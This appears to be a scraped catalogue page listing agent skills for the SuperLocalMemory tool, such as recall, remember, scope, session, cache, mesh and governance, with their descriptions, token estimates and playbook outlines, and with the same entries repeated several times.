Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes
